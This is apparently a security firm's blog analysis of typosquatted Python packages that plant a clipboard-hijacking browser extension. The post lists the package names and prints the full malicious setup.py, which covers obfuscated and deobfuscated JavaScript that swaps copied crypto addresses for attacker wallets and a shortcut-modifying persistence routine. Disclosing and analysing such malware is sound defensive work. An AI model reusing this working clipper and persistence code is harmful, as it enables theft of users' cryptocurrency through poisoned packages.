Malicious Python Packages Replace Crypto Addresses in Developer Clipboards
Less than a week after we identified dozens of typosquat packages targeting developers, our automated risk platform has identified several more packages involved in a separate burgeoning campaign targeting developers and their cryptocurrency. The packages targeted in this campaign are downloaded over 29 million times each day - a significant potential blast radius for the attacker, providing a large opportunity to take advantage of developer typos!
The current (and expanding) list of packages in this ongoing campaign are as follows:
baeutifulsoup4
beautifulsup4
cloorama
cryptograpyh
crpytography
djangoo
hello-world-exampl
hello-world-example
ipyhton
mail-validator
mariabd
mysql-connector-pyhton
notebok
pillwo
pyautogiu
pygaem
pytorhc
python-dateuti
python-flask
python3-flask
pyyalm
rqeuests
slenium
sqlachemy
sqlalcemy
tkniter
urlllib
After installation, a malicious Javascript file is dropped to the system and executed in the background of any web browsing session. When a developer copies a cryptocurrency address, the address is replaced in the clipboard with the attacker's address.
At the time of this writing (around an hour after the first malicious package was published), these packages have been downloaded over one hundred times. While we have reported each of these packages (and will continue to do so), we expect both the number of downloads and overall package count to climb in the coming hours.
Dropping Obfuscated JS from Python
The malicious payload for each of these packages exists in the setup.py
. The malware authors begin by getting a list of “interesting” paths:
appDataPath = os.getenv('APPDATA')
desktopPath = os.path.expanduser('~\Desktop')
paths = [
appDataPath + '\\Microsoft\\Windows\\Start Menu',
appDataPath + '\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar',
desktopPath
]
If the user is an administrator, they add an additional path to the list:
if ctypes.windll.shell32.IsUserAnAdmin():
paths.append('C:\\ProgramData\\Microsoft\\Windows\\Start Menu')
They then create an Extension
directory, if one didn’t already exist:
if not os.path.exists(appDataPath + '\\Extension'):
os.makedirs(appDataPath + '\\Extension')
Finally, the attackers write obfuscated Javascript to the $APPDATA\\Extension
folder:
with open(appDataPath + '\\Extension\\background.js', 'w+') as extensionFile:
extensionFile.write('''var _0x327ff6=_0x11d4;(function(_0x314c14,_0x4da2d4){var _0x4d9550=_0x11d4,_0x41c8ae=_0x314c14();while(!![]){try{var _0x291238=parseInt(_0x4d9550(0x83))/0x1+parseInt(_0x4d9550(0x87))/0x2*(-parseInt(_0x4d9550(0x7c))/0x3)+-parseInt(_0x4d9550(0x81))/0x4*(-parseInt(_0x4d9550(0x8b))/0x5)+parseInt(_0x4d9550(0x7e))/0x6*(parseInt(_0x4d9550(0x75))/0x7)+-parseInt(_0x4d9550(0x89))/0x8+-parseInt(_0x4d9550(0x85))/0x9+parseInt(_0x4d9550(0x82))/0xa;if(_0x291238===_0x4da2d4)break;else _0x41c8ae['push'](_0x41c8ae['shift']());}catch(_0x435e56){_0x41c8ae['push'](_0x41c8ae['shift']());}}}(_0x7dfe,0x8e72d));let page=chrome[_0x327ff6(0x77)][_0x327ff6(0x76)]();function _0x11d4(_0x5d4133,_0x41221d){var _0x7dfebe=_0x7dfe();return _0x11d4=function(_0x11d4f7,_0x3282ea){_0x11d4f7=_0x11d4f7-0x75;var _0x34f11d=_0x7dfebe[_0x11d4f7];return _0x34f11d;},_0x11d4(_0x5d4133,_0x41221d);}var inputElement=document[_0x327ff6(0x88)](_0x327ff6(0x8a));document['body'][_0x327ff6(0x86)](inputElement),inputElement['focus']();function check(){var _0xe8a3e=_0x327ff6;document[_0xe8a3e(0x79)](_0xe8a3e(0x7f));var _0x5eb90d=inputElement[_0xe8a3e(0x7a)];_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^(0x)[a-fA-F0-9]{40}$/,'0x18c36eBd7A5d9C3b88995D6872BCe11a080Bc4d9'),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^T[A-Za-z1-9]{33}$/,'TWStXoQpXzVL8mx1ejiVmkgeUVGjZz8LRx'),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^(bnb1)[0-9a-z]{38}$/,_0xe8a3e(0x80)),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/,'bc1qqwkpp77ya9qavyh8sm8e4usad45fwlusg7vs5v'),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/,_0xe8a3e(0x84)),inputElement['value']=_0x5eb90d,inputElement[_0xe8a3e(0x7d)](),document['execCommand'](_0xe8a3e(0x7b)),inputElement[_0xe8a3e(0x7a)]='';}function _0x7dfe(){var _0x1c8730=['8bkbJpt','14903530AaRyNg','646317UWotJX','LPDEYUCna9e5dYaDPYorJBXXgc43tvV9Rq','9448686izWZHq','appendChild','2hKfLTM','createElement','3544256zMWJYQ','textarea','10470IXKEdo','42UUKWJT','getBackgroundPage','extension','replace','execCommand','value','copy','1539693aOTNUd','select','448728VNjtMg','paste','bnb1cm0pllx3c7e902mta8drjfyn0ypl7ar4ty29uv'];_0x7dfe=function(){return _0x1c8730;};return _0x7dfe();}setInterval(check,0x3e8);''')
and write a manifest.json
to the $APPDATA\\Extension
folder, which requests the clipboardWrite
and clipboardRead
permissions:
with open(appDataPath + '\\Extension\\manifest.json', 'w+') as manifestFile:
manifestFile.write('{"name": "Windows","background": {"scripts": ["background.js"]},"version": "1","manifest_version": 2,"permissions": ["clipboardWrite", "clipboardRead"]}')
Deobfuscating Javascript Bits
In an attempt to hide what the malicious payload is doing, the attacker obfuscated the Javascript using a common obfuscator.
Although we can probably infer what this malicious package is doing based on the requested permissions in the manifest.json
, lets deobfuscate it to be certain. Comments are added.
/**
* Returns the Window of the background page if the background script is running.
* If the script is not running, null is returned.
*/
let page = chrome['extension']['getBackgroundPage']();
// Create a new text area on the page
var textareaElement = document.createElement('textarea');
document['body']['appendChild'](textareaElement);
// Then focus on it
textareaElement['focus']();
function lookforCryptoAddresses() {
// The input element is on our newly defined element and we paste whatever is in the
// clipboard to it.
document['execCommand']('paste');
// We then get the value of what we just pasted in the text area.
var inputValue = textareaElement['value'];
/** Look at the value, if it matches one of the regexes replace the crypto address **/
// ETH addresses
inputValue = inputValue.replace(/^(0x)[a-fA-F0-9]{40}$/, '0x18c36eBd7A5d9C3b88995D6872BCe11a080Bc4d9'),
// TRX (TRON) address
inputValue = inputValue.replace(/^T[A-Za-z1-9]{33}$/, 'TWStXoQpXzVL8mx1ejiVmkgeUVGjZz8LRx'),
// BNB Address
inputValue = inputValue.replace(/^(bnb1)[0-9a-z]{38}$/, 'bnb1cm0pllx3c7e902mta8drjfyn0ypl7ar4ty29uv'),
// BTC Address
inputValue = inputValue.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/, 'bc1qqwkpp77ya9qavyh8sm8e4usad45fwlusg7vs5v'),
// LTC Address
inputValue = inputValue.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/, 'LPDEYUCna9e5dYaDPYorJBXXgc43tvV9Rq'),
// Update the text area to the value we replaced above.
textareaElement['value'] = inputValue,
// Select whatever is in the text area.
textareaElement['select'](),
// Copy that to the clipboard, thereby overwriting the address the user copied.
document['execCommand']('copy'),
// Clear the text area.
textareaElement['value'] = '';
}
// Monitor the clipboard every second.
setInterval(lookforCryptoAddresses, 1000);
At a high-level, the attacker:
- Creates a
textarea
on the page - Pastes any clipboard contents to it
- Uses a series of regular expressions to search for common cryptocurrency address formats
- Replaces any identified addresses with the attacker controlled addresses in the previously created
textarea
- Copies the
textarea
to the clipboard
If at any point a compromised developer copies a wallet address, the malicious package will replace the address with an attacker controlled address. This surreptitious find/replace will cause the end user to inadvertently send their funds to the attacker.
Attacker Controlled Wallets
The current list of attacker controlled addresses is:
- ETH
0x18c36eBd7A5d9C3b88995D6872BCe11a080Bc4d9
- BTC
bc1qqwkpp77ya9qavyh8sm8e4usad45fwlusg7vs5v
- BNB
bnb1cm0pllx3c7e902mta8drjfyn0ypl7ar4ty29uv
- LTC
LPDEYUCna9e5dYaDPYorJBXXgc43tvV9Rq
- TRX
TWStXoQpXzVL8mx1ejiVmkgeUVGjZz8LRx
At the time of this writing, no funds have been transferred to the attackers.
Getting Persistence
The persistence mechanism is simplistic, but effective:
for path in paths:
for root_directory, sub_directories, files in os.walk(path):
for file in files:
if file.endswith('.lnk'):
try:
shortcut = shell.CreateShortcut(root_directory + '\\' + file)
executable_name = os.path.basename(shortcut.TargetPath)
if executable_name in ['chrome.exe', 'msedge.exe', 'launcher.exe', 'brave.exe']:
shortcut.Arguments = '--load-extension={appDataPath}\\Extension'.format(appDataPath=appDataPath)
shortcut.Save()
except Exception as e:
...
The attackers first start by walking all paths in the path
list they created above. If they identify any LNK
files and the executable in the target is one of chrome.exe
, msedge.exe
, launcher.exe
or brave.exe
they add the following:
--load-extension={appDataPath}\\Extension
This ensures that the malicious payload is executed when one of these browsers is opened.
Developers Are The Targets
The unfortunate reality is developers are now direct targets of these supply chain attacks. Failing to protect developers is a failure of the technical organization as a whole. Because of this, we are actively working on an open source, freely available solution that sandboxes package installations. This offering is currently rolled into our CLI Star, but the underlying sandboxing capability (called Birdcage) Star is also available for integration into other open source projects.
Here we are installing a malicious NPM package that exfiltrates SSH keys:
And again using Birdcage; the SSH keys are never sent from the developer machine:
We are still actively working to improve the sandbox, but welcome contributions and ideas from the community! Join us on our community Slack to discuss all things security, supply chain risks and upcoming CTFs.